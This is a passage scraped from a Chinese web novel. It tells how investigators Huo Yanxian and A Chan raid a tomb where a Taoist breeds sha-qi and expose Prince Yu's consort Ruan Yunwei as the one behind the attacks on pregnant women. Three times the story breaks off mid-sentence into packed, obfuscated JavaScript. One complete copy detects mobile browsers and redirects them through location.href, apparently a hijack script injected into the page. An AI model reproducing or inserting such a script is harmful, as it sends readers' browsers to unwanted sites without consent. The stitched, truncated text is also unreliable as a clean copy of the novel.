她一路沿着霍彦先留下的记号,没有找到煞气,只看到了霍彦先。 此刻,他正站在北郊的一个荒山野地,漆黑一片,只有虫鸣,阿婵四处看不到缀在煞气后的“小尾巴”,看样子已经跑了。 “没受伤吧。”阿婵走到他身侧。 “没事。”霍彦先拿出刚才房檐追踪煞气时,阿婵塞给他的护身符,符箓完好没有损坏的痕迹。 阿婵这才放心下来,问道,“追到哪里不见的?” 霍彦先指着前方一棵树,“煞气钻进树边地缝不见了,我怀疑这地下有东西。” “这地方很诡异,说不定藏着大雷,没准备好之前,不要轻举妄动。” 阿婵感觉四周气息不对,谨慎道。 霍彦先表示赞同,“嗯,我先安排人查探一下。” *** 第二日晌午,桓安还出了一件事,一对披麻戴孝的母女,在东西市集的交界处哭闹,引得众人围观。 “别拦我!我豁出去了!要是今日不给个说法,我也不想活了!” 一个头发散乱花白、身着孝服的老妪哭嚎: “我儿子刚上西北战场没几天,你们官府就来信告诉我他牺牲了,天杀的,我儿媳妇才刚怀孕,昨晚又遇到煞气流产了,我们家这是造了什么孽啊,连个后都没有了,你让我们娘儿俩以后怎么办啊!” 老妪身侧,是她脸色苍白的儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他进入勤政殿时,看见殿内黑压压跪着一群人,大理寺卿、桓安府尹、以及本没资格面圣,却破天荒被拎过来问罪的京畿县令、县尉。 旁边中书侍郎虞屹安侍立在侧。 二人眼神对视,虞屹安无声警告霍彦先,圣人正在气头上,最好不要随便刺头,惹圣人更怒。 圣人正在大骂桓安府尹:“你怎么当的职!西北战事的当口竟然发生这种事!”圣人指着桓安府尹,劈头盖脸一顿骂。 “圣人息怒,微臣一定会对坊间百姓严加管束,防止对战事不利的流言四处流传。”桓安府尹立刻道。 “这是重点吗?!防民之口甚于防川!一出事就知道堵嘴!百姓的嘴你堵得住吗?”圣人恨铁不成钢,满眼怒火喷向他。 桓安府尹想一头撞死的心都有了,今年好不容易进宫面圣一次,谁能想到是因为那披麻戴孝的老妪和儿媳在街头闹事! 旁边没见过世面的京畿县令、县尉也跟着瑟瑟发.抖,想要一头撞死。 “眼下最重要的,是赶紧解决煞气案,给民众一个交代,不然大桓百姓就是再爱国,谁还敢丢下家人上战场,谁还敢生孩子!” 圣人吼完,目光又转向刚进来的霍彦先以及大理寺卿。 “你们当时怎么给朕说的?庄氏家丁的口供证据太过明显,十分反常,或有蹊跷,朕信了你们的话,给你们时间继续调查,结果呢,调查出什么了?你们是想连绣衣察事司和大理寺的名声也毁了吗?!” 霍彦先虽然最近一直忙于调查贵女毁容案,但他也清楚,绣衣察事司的煞气案情报方面,确实没有什么新的进展,以至于大理寺卿迟迟没有定案。 只除了昨晚他和阿婵亲眼在北郊见到的煞气,以及街头老妪和儿媳那一起,这说明,煞气极有可能是昨晚才又再次出现的。 当然也有可能,是情报疏漏,他不敢打包票。 但现在给圣人解释,似乎也没有用,谁会相信这种巧合呢?事情已经发生了,只有抓到凶手才是最要紧的。 当下,他只跪地沉声道:“臣愿领罚,定会尽快抓到凶手。” 大理寺卿只审凡人,涉及妖物犯案也是有心无力,只能自认倒霉,跟着霍彦先重复一遍他的话。 圣人扫视旁边的虞屹安,以及跪在地上的一众人。 “朕限你们三日之内,将煞气案解决,保护桓安百姓安危,切不可再出差池!”圣人语气坚决。 霍彦先等一众人抱拳接旨:“是!” 86. 小题大做的疯狂 圣人下令,只有三天,霍彦先自然是要全力破案。 第二日,绣衣察事司,审讯室。 “叫我来这里干嘛?可是那片北郊荒地查出了什么线索?” 这是阿婵第二次进入绣衣察事司,没想到直接被带到了审讯室。 一进门,阿婵便吓了一跳,阴暗的房间光线不足,霍彦先眼下青黑,看起来很是疲惫,估计昨晚又为了查案彻夜未眠,算上前晚追踪煞气,他已整整两日没合眼,比自己睡得还少。 “你先来看看这个。”霍彦先并未多寒暄,沙哑着嗓子直接让阿婵看两个人。 此时,审讯室内有两个被绑着的男人,一个偏矮,一个偏瘦。 阿婵不明所以看向霍彦先。 霍彦先指着偏矮的人道:“这是庄戴英的家丁,我们的人盯了很久。上次庄戴英案发之后,我们审问他,发现他没有任何关于在柴房打晕梁秋月丈夫,以及逼梁秋月自杀的记忆。 我们怀疑,要不就是他在说谎,要不就是他有别的问题。” 阿婵看那家丁一双眼睛十分无神,伸出手指在他眼前晃了晃,家丁的眼神缓慢转动,看着也是正常的,就是有些僵硬,好似玩.偶假人,令人看着十分不适。 “你觉不觉得,这个家丁的眼神,有些眼熟……”霍彦先问阿婵。 “陈富仲。”阿婵斩钉截铁地说。 当时在荔南府富州城的江上,她见到陈富仲的眼神,里面掺杂着混沌疯狂,但隐隐和这个家丁的眼神很是相似,都很僵硬,不似活人。 “傀儡术。”阿婵道,“陈富仲和这个家丁可能在某种情况下被施行了傀儡术,表面上和常人无异,但只要施行者给出特定的信号或者暗示,他们就会按照对方的指令行事。” 霍彦先继续道:“因为没有找到庄戴英和煞气案直接关联的确凿证据,这个家丁的表现又有异常,所以我和大理寺卿商议过后,迟迟没有定案。 后来,我一直让绣衣暗候持续监视庄氏所有的人,掌握所有人的动线,但一直没有什么异常。直到前晚,桓安出现两起煞气案,我们连夜查探所有的情报。” 霍彦先又指了指旁边那个偏瘦的家丁:“绣衣暗候发现,这个庄氏家丁曾在这两起案子的路线上都出现过,而今天我们将其抓回来审问,他也是同样的样子,没有自己出现在案发现场附近的行动记忆。 而且我们还发现,有个道士游离在这个家丁的行动路线附近,忽远忽近。 起初我们并没有把道士和家丁联系在一起,但因为之前仙昙村、富州城的凶手身上都出现了奇怪的印迹,疑似妖道作案,绣衣察事司对于各种玄门中人都会比较留意,才发现家丁和这个道士的行动轨迹重叠得太过巧合。 我们的暗侯十分精通追踪术,很确定,那个道士就是一直在跟着家丁。但他们之间,似乎没有什么言语接触,最多只是擦身而过。” “施行傀儡术并不需要有直接的身体接触,哪怕只是擦身而过的一个眼神,也足够施行者发出指令,比如,这样……” 阿婵突然靠近霍彦先,假装擦身而过,小拇指弯起轻轻撩过他的手背,“这样也可以哦~” 手背划过一丝轻痒,凉丝丝的,霍彦先心中一颤,手骤然握拳,咳了一声:“……说正经的……” “大人,傀儡术就是这样的。”阿婵严肃道。 霍彦先:“……” 一旁伫立的绣衣察事司司众表面淡定,心中却掀起惊涛骇浪,这这这,不愧是大人陪着吃了一整条街的小娘子,出手果然非同凡响! 阿婵却不理所有人五味杂陈的表情,依旧严肃地自顾自试图理清思绪。 “所以,你的意思是,有人想要以傀儡术控制庄氏家丁,企图让大家以为庄戴英是凶手。但也不对……如果这样的话,那庄戴英被抓之后,就应该不会再搞出煞气案了。 但现在,凶手或许有什么不得已的原因,必须要再次利用煞气害人。 而且,这个傀儡术的施行对象其实可以是任何人,不是庄氏家丁反而不会很显眼,更难查出来。那为什么偏偏每次都是庄氏家丁呢?” 霍彦先道:“说明凶手针对的可能不是庄戴英,而是庄孚义。” 阿婵对上霍彦先的眼神,很快领悟到,“你是说,有可能是庄孚义的朝中树敌,想要借机扳倒他?” 两人都陷入沉默,如果他们的推测属实,那事情就更严重了。 煞气案如果是民间某些邪教搞出来的,或许只是为了图财害命,但如果凶手针对的是朝廷重臣,那极有可能牵扯到朝中其他的重要势力,想要查出真相,就会更加困难。 而且,朝中势力向来盘根错节,任何一方失势,都会牵一发而动全身,导致其他势力重新洗牌。 届时,不止桓安内廷会出乱子,外部那些虎视眈眈的乱臣贼子,也会趁机钻空子。 这件事必须尽快解决才行。 “圣人命三天之内破案,今日请你来,就是想问问,你有什么办法可以解决这个傀儡术吗?若那道士在抓捕的过程中施行法术,我们该如何应对?你放心,我们会给出合适的价格。”霍彦先问道。 阿婵抿嘴思索,“霍大人,时间紧迫,与其抓道士,不如将计就计,引蛇出洞。” *** 北郊。 天将破晓之际,一个偏瘦的影子出现在霍彦先之前追踪煞气的那片荒野。 他绕着一棵树不停地转圈,眼神非常僵硬木讷,犹如被提线的傀儡人偶。 终于,他“扑通”一下跪倒在那棵树之前,开始疯狂地用手挖地。 不多时,这荒郊野地突然出现了一个道士打扮的人,悄悄逼近他身后。 偏瘦的人影毫无所觉,依旧疯狂挖地。 眼看他的架势是要将树根整个挖开,道士手中突然出现一把刀,俨然是准备下死手。 而此时,偏瘦的人影突然转过头来,露出一个诡异微笑,在道士诧异震惊的眼神之中,四周同时还出现了很多个脑袋。 那是……绣衣察事司、灵骅寺方丈,和一众玄门打扮的人。 道士难以置信,瞬间惊恐万状,暗道中计,转身想跑,挖地的人一把夺过他手中的刀,反手架在道士脖子上,顺手揭掉自己脸上的面具,露出真面目。 竟是阿婵! 原来,之前阿婵对霍彦先说不妨将计就计,本是想让真家丁引道士出现,但又怕家丁无法对抗道士的手段,同理,霍彦先提出让绣衣暗候假扮家丁,也被阿婵否决了。 随后,阿婵亲自扮成家丁,她熟悉傀儡术,万一道士临时整点什么手段,她也比普通人能够随机应变。 时间紧迫,他们不准备在庄府引出道士,那太浪费时间,而是直接来到煞气钻地处,朝它的老巢下手。 自那晚追踪煞气钻地后,霍彦先立刻叫绣衣察事司的地听在这片土表查探过,发现以煞气钻地的那棵树为中心点,这片荒野密林的地下其实存在着一个很大的空洞,可以说,像是个地下墓穴。 下面一定藏着秘密。 阿婵阻止他再继续打探,因为不管地下有什么东西,能够容纳煞气,就不是普通人能够承受的,哪怕是最训练有素的绣衣察事司。 这个地方,这么多年没有被人发现有异常,说不定还有结界之类的东西。 她要亲自下去打探。 但霍彦先也怕阿婵只身破结界闯进去,如果里面有什么庞大的邪教势力,就算阿婵能以一敌百,但如果有第一百零一个妖道出现,她也会有危险。 “顾虑太多了吧。”阿婵不以为意,她早已习惯龙潭虎穴都独自闯。 “除非万不得已,绣衣察事司从不拿同伴的生命冒险。”霍彦先不同意。 阿婵撇撇嘴,“这也不行,那也不行,那你说怎么办?” 结果就造成了现在这个局面—— 夜晚的荒地被雾气笼罩。 阿婵甩出符箓,一道金光将犹如蚕茧一般的雾气撕开,万道金光从她背后加持护着她,瞬间犹如洪水一般涌入被撕裂的结界,在那棵树前面形成一个小型的金色符箓漩涡。 那树竟然像一个机关,向旁边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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穿过一段斜坡墓道,便遇到了阻隔主墓室的内外玄门,透出森森鬼气。 不过这如何拦得住已经十分亢奋的阿婵和各宗门高人,再一次,阿婵一道符箓破空,万道金光相随,大家七手八脚、各显神通,重达千斤的内外石门几乎瞬间犹如豆腐渣,被众人的力量直接碾成齑粉。 万众一心力量大,大到连铁石心肠的绣衣察事司司众都不禁为里面的人掬一把同情泪。 内外玄门的结界被打破后,众人长驱直入主墓室。 主墓室内和相互连通的耳室似乎已经被改造成为一个四通八达、经常有人活动的地下居所。 因为众人杰出的精神状态和全力以赴的强攻行动,地下墓穴中走动的人几乎没有来得及反抗逃跑就已经全部被控制住。 在霍彦先和阿婵确认已经控场之后,大家才来得及观察主墓室内的构造。 发现里面不仅没有墓穴的死寂,而且十分“生机盎然”。 宽阔的主墓室内供奉着足有一百多个黑陶罐子,黑色的煞气从中源源不断冒出,犹如无数头发丝涌动着,似乎在无声尖叫挣.扎着想要解除无形的禁锢,冲破罐子出来。 在其中忙碌穿梭的一部分道士打扮的人,负责豢养这煞气。 而另一部分,则是利用煞气在桓安孕妇腹中偷走的胎儿生气,在制造“生机”。 但是这“生机”虽然是一股股浓白色的气流,却并不清透,反而浑浊不堪,白中也透着浓重的黑气,像是清澈的河流中混进了黑泥,再怎么努力变得澄澈,也透着丝丝死气。 阿婵看到这里,心中突然想起了什么,一切都通了! 离陶罐最近的一个道士被抓时,见情况不妙,立刻将手边的罐子能打翻的全部打翻。 黑色的煞气和生机之气同时大量流出。 “快收妖气!”玄门高人纷纷喊道! 阿婵看向霍彦先,“这些生机显然有主,不如趁此机会看看到底流向何处?” 霍彦先担心:“会不会控制不住,伤害无辜平民?” 阿婵和一旁的成智大师相视一笑,她掏出符箓边追边说:“不知道源头才最可怕,现在知道了,这个程度和体量的煞气和生机,也就够我们这些人舒展一下筋骨,你就放心吧。” 霍彦先看看身边那些正跟煞气生机干架干到兴头上“张牙舞爪各显神通”的高人,颇有些无奈,感觉控制不住的可能不是什么煞气生机,而是这些高人…… 比绣衣察事司还要疯狂! 87. 凶手 这日天亮之后,煜王妃阮云薇被婢女搀扶上马车,正准备去灵骅寺禁足,一边养胎,一边改过自新,抄经为自己以往的恶毒行径赎罪,就像之前她自己和姑母阮淑妃所说的那样。 虽然阮云薇不愿意去,怕离开王府之后,楼映真趁虚而入,但也没办法,此时煜王看她的眼神已再也没了柔情,至于为什么还肯看她,她心中很清楚,只是看在她腹中子嗣的份上。 幸好还有孩子傍身! 阮云薇一边护着腹部,一边柔柔弱弱上了马车。 煜王晁元肇,念及阮云薇已有身孕,最近城中又接连不断发生煞气袭击孕妇的事件,便想送她去灵骅寺。 一是有高僧护她安全,二是借寺中灵气养胎,希望圣人能够恩准阮云薇诞下子嗣之后再判罪责。 他听说最近方丈成智大师也来到了桓安城内,安全起见,着人去信请大师办完事情,将阮云薇一起护送回去。 成智大师回信答应,说若昨晚的事情办完,会在城门附近等候。 因此,马车载着阮云薇,驶向城门方向,这段路,煜王也亲自在旁陪同。 此时,一路上人流如织。 阮云薇自怀孕以来,每日都觉得身子乏累,提不起精神,也不知是因为自己年纪大了才怀孕还是身体底子薄,此刻她坐在马车中昏昏欲睡。 忽听得外面一阵嘈杂,似乎很多人一边推搡跑动一边纷纷惊呼—— “那是什么?” “啊啊啊啊有妖怪!” “难道这就是煞气?” “是煞气是煞气!快跑啊!” “你们别乱讲,不是煞气啊,煞气不是黑色的吗?这是白的啊。” “你看它白里透黑的!反正一看就不是什么好东西!赶紧跑吧!” “大白天的煞气就乱窜,这也太凶了吧!” “躲远点躲远点!” 阮云薇在马车内听到这些话,忽然脸色煞白,马车一阵慌乱停下,突然的刹车让她和婢女都差点往前栽去。 “王妃,小心!”婢女赶紧扶住阮云薇。 这时,只听得外面又有人惊呼: “它们是冲着那个马车去的!” “哎呀快躲开快躲开!” 阮云薇心下有不好的预感,可根本没来得及掀开帘子往外面看,只觉得眼前一黑,数道浊气瞬间从马车各处的缝隙钻进来,无孔不入! 而在路人眼中,一股一股白里透黑的浊气像疯了一样朝着路中间一辆华贵的马车直奔而去。 一见到马车内的阮云薇,这些浊气便发出了刺耳尖利的咆哮,溢满全然的怨气和仇恨,但又像婴儿见到了亲生母亲一般,一个劲儿疯狂地往阮云薇腹中钻去! “啊啊啊啊啊——” “啊啊啊啊啊——” 顷刻间,马车内同时传来无数浊气、阮云薇和婢女的尖叫,震耳欲聋。 煜王震惊地勒住马看着眼前这一切,他似乎已经明白发生了什么。 这是…… 侍卫们不明所以,还尽职尽责想要蜂拥而上护住王妃,但马车车厢内突然传来一阵“咔嚓咔嚓”的细碎响声,随之而来的是“砰”地一声巨响!所有人猝不及防,本能地掩面后退! 原来,无数股浊气一窝蜂地钻进车厢内,四方小小的空间根本无法承受瞬间充盈的巨大气流,先是四周的木板“咔嚓咔嚓”一条条爆裂开来,而后直接“砰”地一声掀翻了车厢顶板! 饶是如此,浊气仍源源不断地从裂隙里冒出来,又聚成一团想要再往车厢中挤,因为它们在找它们的“生母”—— 那个正从爆裂的车厢滚下来的女人—— 阮云薇! “啊啊啊啊!不要过来!不要过来!” 众目睽睽之下,阮云薇尖叫着从车上连滚带爬骨碌下来,头发散乱,面容扭曲,早已不复平时的仪态万方。 众人惊恐地看到,她的腹部已经被无数浊气撑得肠穿肚烂,但这还不够!还有许多从北郊方向赶来的浊气正在前赴后继地试图钻进她的腹部! 婢女也从马车上被气流掀翻,滚落在地,已然吓傻了,木然地口中念叨:“王妃……王妃……” 人们终于知道,这竟然是当今的煜王妃!!! 远处,一群人脚步匆匆赶来。 正是阿婵、霍彦先、灵骅寺成智大师、众位玄门高人,以及绣衣察事司。 众人看到,这群人中身着奇异玄门服饰的人,正各自施法将浊气与普通百姓分离开来。 而走在最前面的一位,最是奇怪。 她身着富贵人家男家丁的衣服,却有一张年轻美貌的女子面庞,手中正指挥着列队漂浮在空中的黄.色符箓,像一根风筝线,牵引控制着这些浊气的行进速度。 使得浊气既能向它们想去的方向前进,但速度又不至于太快,让众人能够跟得上。 众人不禁啧啧称奇。 此时,本来在最后面的绣衣察事司司众赶了上来,仿佛预先排演过一样,迅速秩序组成人墙,将马车周围围得严严实实。 人们只能隔着人墙缝隙看到,这煜王妃被肠穿肚烂的骇人情景。 霍彦先拿出龙首金杖“铿锵”杵地,将所有人的目光吸引过来: “煜王妃阮云薇,你操纵煞气,命桐风妖道以妖物煞气掠取桓安孕妇腹中胎儿生机,换取自己受孕,此等罪孽,你认是不认!” 此话一出,煜王的心直接凉到谷底,众人更是炸锅一般,哗然一片: “什么东西?煜王妃操纵煞气?我没听错吧!” “天老爷啊,她不是前不久还去灵骅寺为桓安孕妇祈福来着?敢情她竟然是幕后凶手!” “呸!人面兽心的东西!” “这这这,难道那些白色的东西本该是别人家的孩子吗?” “造孽啊!简直是畜生都不如!” “不是我!不是我.干的!要找你们去找桐风,都是他!都是他!不要过来啊!不要过来啊啊啊啊——” 阮云薇双目紧闭,脸色白得像鬼,她此刻经受着被浊气肠穿肚烂的剧烈疼痛,身上一阵痉挛,蜷缩起来,同时心中恨极,该死的桐风!什么煞气换生机!什么可以做得天衣无缝!果然根本就不该相信他! 她抬眼试图求救,只看到煜王远远地站着,脸上溢满她从未见过的怨毒恨意,而后猝不及防,一头一脸的酸臭泔水就泼了过来…… 围观的百姓此时已经愤怒到了极点,纷纷唾骂阮云薇。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15288739|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 有人怒不可遏,看到墙角有泔水桶,直接拿起就向阮云薇泼过来。 突然,又有人将一团什么东西劈头盖脸扔在她头上。 但这点疼痛对比腹中的钻心疼痛,已然是不痛不痒,而且她也没办法去看是什么,因为有无数百姓正从四面八方赶来,将那些东西接连不断地扔在她头上,砸得她连眼睛都睁不开! “阿弥陀佛,罪过罪过……” 灵骅寺的成智大师一边施法控制浊气不伤害百姓,一边看着阮云薇被砸得满身都是从自家寺中流通出去的平安符,心中也是复杂非常。 旁边有人一边扔一边啐口水:“呸!亏我们娘俩还相信她,也学着她去灵骅寺祈福,还求了和她一样的平安符,佛祖老天若有眼,一定要让这虚伪的毒妇下地狱!” 阿婵隐在人群中控制浊气,闻声扫了一眼,看到那人正是前日白天在市集口闹事的老妪,而泼泔水的,正是她的儿媳。 她和儿媳,因西北战事失去了儿子、丈夫,又因为煞气失去了孙儿、孩儿。 她们娘俩正巧来街上买菜,却亲眼目睹了煞气的真正凶手,难以置信,一边怒骂,一边放声哭喊。 她们曾经真的以为,这个美丽端方、贤良淑德、十年未曾生育的王妃,是真心请求佛祖庇佑桓安孕妇以及她们腹中的孩儿! 她们那么发自内心地感谢煜王妃,甚至还学着煜王妃求了同样的平安符! 可如今,还有谁比她们更加愚蠢,被这个蛇蝎毒妇耍得团团转! 此刻,煜王根本不敢去看成智大师的眼睛,也不敢去看任何一位桓安百姓的眼睛,他苦心经营的一切口碑,全都被地上这个打滚嚎叫的毒妇毁了!若是此时有个地洞能让他钻进去该多好…… …… “收嘛?”过了半晌,见众人已经将满腔怒火发泄得差不多了,阿婵挤到霍彦先身边问。 “她这个样子,真的能活?”霍彦先悄悄问阿婵。 “放心,活是不可能活的,不过可以拖延一段时间,留给你们审讯、量刑、甚至上刑场也没有问题。”阿婵道。 “那就好,收吧。”霍彦先这才点头。 众百姓还在群情激奋痛斥煜王妃的虚伪恶毒,阿婵当着众人的面,走向阮云薇,将缠绕在她身边的浊气驱散开来…… 与此同时,霍彦先朗声安抚群众:“绣衣察事司奉圣人之命,将煞气案凶手阮云薇缉拿归案,定罪量刑,还大家一个交代……” 阿婵在霍彦先的解释声中,将只剩一口气的阮云薇身边的浊气收净。 扶起她的一刹那,阿婵附在阮云薇耳边轻轻说:“别放弃,还有转机。” 阮云薇苟延残喘,听到这话骤然睁大眼睛。 这一声极低,完全被霍彦先的声音和众人的议论声盖了过去。 而阮云薇惊讶的眼神也恰好被阿婵抬袖的动作挡了过去。 一切在瞬息之间已然完成。 等到霍彦先看过去的时候,阿婵已经将阮云薇的腹部经脉要穴用“神阙灵针”封住,暂时止血保命。 而后,她扯开了阮云薇死死拽住她的袖子,将阮云薇移交给绣衣察事司司众。 淡然穿过人群,回去和霍彦先“交差”。 88. 逐出族谱 当日,阮淑妃在勤政殿外长跪不起,磕了近百个响头,头破血流。 “圣人!毒妇阮云薇所作所为臣妾真的半点不知情!我们阮氏已然将她逐出族谱,她残害百姓,不配为人,请陛下严惩不贷!” 可即便是头破血流,也没能换来圣人一个眼神。 勤政殿内,无论内常侍如何替阮淑妃求情递话,圣人只看着平海镇的地图,完全没心思理会,至多冷冷对内常侍道:“再说一句,你也滚出去一起跪着!” 内常侍只得闭嘴。 **** 今日,轰动全桓安街头巷尾的煞气案真相,已然传进了圣人的耳中。 霍彦先竟真的卡着第三日的最后破案期限,将凶手找了出来。 只是,一提到这凶手,圣人就觉得一股恶气无处发泄! 他的好儿媳,十年来挑不出一丝错处的阮云薇,竟然是困扰桓安已久的孕妇煞气流产案,和禾阳县贵女毁容案的真凶! 亏她还有脸去灵骅寺为那些孕妇祈福!还说什么学着嘉善皇后遗风,为大桓女子谋福祉! 这简直就是滑天下之大稽! 尤其是在这个西北有战事、急需安抚人心的当口,这简直就是给他火上浇油! 得亏百姓在街头已经将怒火发泄到了阮云薇头上,不然还不知皇家要替她背多少骂名! 圣人按捺不住心中的怒火,让霍彦先带领绣衣察事司将阮云薇的所有罪行尽快查清楚。 *** 绣衣察事司已将北郊地下墓穴全部控制,并细细搜查,将里面的涉案人员全部抓获审问。 再加上主犯阮云薇本人的供述,终于将煞气案和禾阳贵女毁容案的真相始末拼凑出来。 一切还得从十年前说起。 自从阮云薇嫁给煜王之后,一直没有身孕,而煜王风.流,隔段时间,便会抬妾室进府,这让她非常有危机感。 因害怕王妃地位不稳,她对于煜王府后院的几个妾室,用了些阮淑妃教她的手段,使她们没办法兴风作浪。 并且,对于煜王心仪的其他女子,她也会想方设法让她们因为各种“意外”而没办法进府。 就这样过了五六年,阮云薇掌控后院的能力越发炉火纯青,但后院人数虽然稳定了下来,可煜王时不时提到子嗣的问题,总让阮云薇寝食难安,因为她的肚子,依旧没有动静。 饶是她安慰自己一切随缘,但她知道,这不正常。 阮云薇私下里找遍名医,依旧没有办法怀孕。平日里女眷聚会,同龄的贵女们都已为人母,开口闭口谈论孩子,而她没有,虽然大家表面上不说,但她无意间听到过,这些女人私下里嘲笑自己无能。 “她不过是仗着姑母阮淑妃的势力才能嫁给煜王,还真以为自己端方贤淑到能和嘉善皇后媲美!真是做梦!” 类似的话她听到过不少,像毒蛇一样缠绕在她心中,那段时间,她每日做梦都会梦到煜王以七出之条“无子”之由将她休掉,另立新妃。 日复一日,在冷汗惊吓中醒来,却无处可以发泄,让阮云薇的内心开始变得扭曲。 对煜王身边出现的所有女子,她的敌意,开始变本加厉。 她让眼线跟踪煜王,将每一个煜王接触过的女子都汇报给她,她要细细审查,看这些女子有没有可能被煜王接进府中。 每日,她一睁开眼,人前是仪态万方的煜王妃,为人和善,事事周到,但人后,她想的尽是如何能将煜王身边的女子“赶尽杀绝”。 哪怕煜王根本没有和这些女子有过实质性的接触,只是口头或者眼神表达一下欣赏,她也会觉得一定是这些女子搔.首弄姿勾.引煜王,既然不能安分守己,便该给她们点颜色瞧瞧! 纪彩鸢便是一个例子。 她不过是在炎合酒楼弹琴,吸引煜王驻足聆听而已,因恰好被阮云薇撞见,便被折断了手指。 这些可以随意惩治他人的快.感,支撑着阮云薇,让她有力气在人前维持“完美王妃”的形象,不至于情绪失控崩溃。 那些“勾.引”煜王的贵女,她不敢下手太狠,但这些茶楼酒楼的民间女子她可以随意整治,就算断手断脚,料她们也不敢去报官。 而这样的事做多了,阮云薇也开始变得习以为常。 以至于阮云薇只是某次心情不好,看酒楼端茶倒水的侍婢不顺眼,便随意找了个茶水太烫的借口,让人把侍婢的手烫掉一层皮。 十年间,被阮云薇整治过的桓安女子数不胜数,但以炎合酒楼的女子被“小惩大诫”得最多,因为大约一年前,她在寻找名医的时候,遇到了桐风道长,二人经常在炎合酒楼见面。 桐风道长从云疆远道而来,说自己手中有可以助孕的灵药,那灵药,便是煞气。 当时,桐风道长告诉她说,这煞气可以掠取孕妇腹中胎儿的“生机”来制造“生气”,再慢慢将“生气”引入她体内,到时候就可以使她怀孕。 阮云薇犹豫了好几个月,她也知道这个煞气肯定不是什么好东西,不然桐风道长不会特意将豢养煞气的地方选在北郊那个地下墓穴。 但是,眼看煜王四处拈花惹草,而当时自己已经九年多未孕,桐风道长说越拖下去越不容易受孕,到时候年纪再大些,身体气血更虚,或许连煞气都没有办法助孕。 因此,阮云薇一咬牙,便同意桐风道长用煞气给自己治疗。 自那时起,北郊的地下墓穴便开始被阮云薇改造成豢养煞气的老巢。 治疗初期,桐风道长刚研制出煞气,说自己从云疆来时顺道在荔南府找了几名孕妇取过煞气,直接将煞气制造的“生气”引入阮云薇的体内,但都没有明显的效果。 当时阮云薇十分泄气,以为没有希望了,但是桐风道长安慰她不要气馁,可能只是煞气还未成气候,对 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没想到,效果很是令她满意,那些贵女清早起来,见到自己突然毁容,以为得了什么病,但找各种郎中看过,都看不出是什么症状,也不知道如何医治,崩溃的有之,差点上吊自杀的也有之。 阮云薇便顺着这个思路,又给煜王说过话、接触过的几个贵女都下了蛊,并找人在郎中之间假装懂行的人,散布谣言,说这是一种疫病,年轻女子最容易感染,患病后最好不要出门。 这件事被禾阳县令注意到了,得知这东西会传染,他急得不行。 因为再过不久,玥宜公主就会例行到禾阳微服私访,要是传染了公主可怎么办? 于是禾阳县令一方面让被毁容的贵女们禁足,大门不出二门不迈,严格保密让消息不要传出去,一方面找到禾阳县主,看看没有没有办法能帮助贵女们治疗。 因这些贵女都是晚上睡了一觉,第二天就在自己房间中发现被毁容的,其家人为了保护贵女的名声,自然而然都会三缄其口,就连找郎中也都是私下秘密找,给了封口费。 所以,这就导致禾阳贵女毁容的事情一直没有被大众发现,但禾阳县令没有想到玥宜公主竟会让绣衣察事司去调查。 主要是,以往玥宜公主的随同人员不过是普通侍卫,他们就算调查,一般也就是查到贵女生病便点到为止,可万万没想到,这次圣人竟让霍彦先陪着玥宜公主前来禾阳县。 这事落到霍彦先手中,那绣衣察事司的人必然是要打破砂锅问到底,一查,便查出有猫腻。 从阮云薇给禾阳贵女下“蚀颜蛊”开始,顺藤摸瓜,查出阮云薇十年来无数件害人的罪行。 因为在北郊的地下墓穴,和眼线的住处,绣衣察事司找到了几本厚厚的“账簿”,事无巨细,将阮云薇十年来用药、下蛊、豢养煞气害人桩桩件件、罄竹难书的罪行,都一一记录了下来,成为口供的佐证。 89. 意外收获 而在这些“账簿”中,霍彦先和阿婵竟然还有许多“意外收获”。 首先就是,阿婵曾在仙昙村见到的那个攻击邢娘子的煞气,竟然就是桐风妖道最初研制出来的煞气! 当时桐风从云疆到桓安,途经许多隐藏在深山之中的小村落,他便在村落中寻找合适的孕妇,试验煞气的威力。 其中便有仙昙村的邢娘子,还有隔壁大山善源村的两名孕妇也受到了煞气的侵害。 但穷乡僻壤的地方,估计连孕妇自己都不知道是怎么回事,只当是意外流产,根本无人察觉是妖物在作祟。 根据阮云薇和桐风的口供,那时候桐风研制的煞气威力还比较小,于孕妇腹中掠取的“生机”在阮云薇身上根本不起作用。 加之在仙昙村煞气曾被阿婵发现并收伏,虽然桐风那时不知道阿婵是谁,但他认为这样证明煞气隐蔽性也不够。 因此参照账簿中的记录,后来桐风妖道又购买了许多名贵的药材,混合桓安地下古墓的千年阴气,用方术提高了煞气的攻击性和隐蔽性。 经过不断地研制改良,煞气在桓安作祟的时候,很难被提前发现,几乎都是出事之后才上报。 霍彦先发现,除了自己接到上报的案子之外,被桐风记录在册的受害孕妇数以几十计,也就是说煞气的隐蔽性之高,甚至没有被孕妇本人被发现,他和阿婵查到的,简直就是九牛一毛。 阮云薇不止利用煞气残害孕妇胎儿,更企图嫁祸庄氏父子。 她是在一次聚会上听庄孚义的嫡女庄菡说自己弟弟摊上事了之后,突然福至心灵,觉得正好可以利用这件事情转移视线,将煞气作祟的罪责摘出去。 所以,她就让桐风妖道用傀儡术控制庄氏家丁,进入柴房假装要杀梁秋月的丈夫,最后将梁秋月放走,让她自杀,再在她身上留下被煞气侵害的证据和一些“人证”,这样就能嫁祸给庄戴英。 但是,阮云薇的真实目的并非只让庄戴英替她背锅这么简单。 经过阮云薇交待,当时她更想一箭双雕,不仅让庄戴英背锅,更能够扳倒庄孚义。 因为庄孚义在朝中势力很大,一向支持陈贤妃,而陈贤妃是她姑母阮淑妃的劲敌,如果这次能够借煞气的事将庄孚义斗败,那么阮云薇也算是帮了姑母一回。 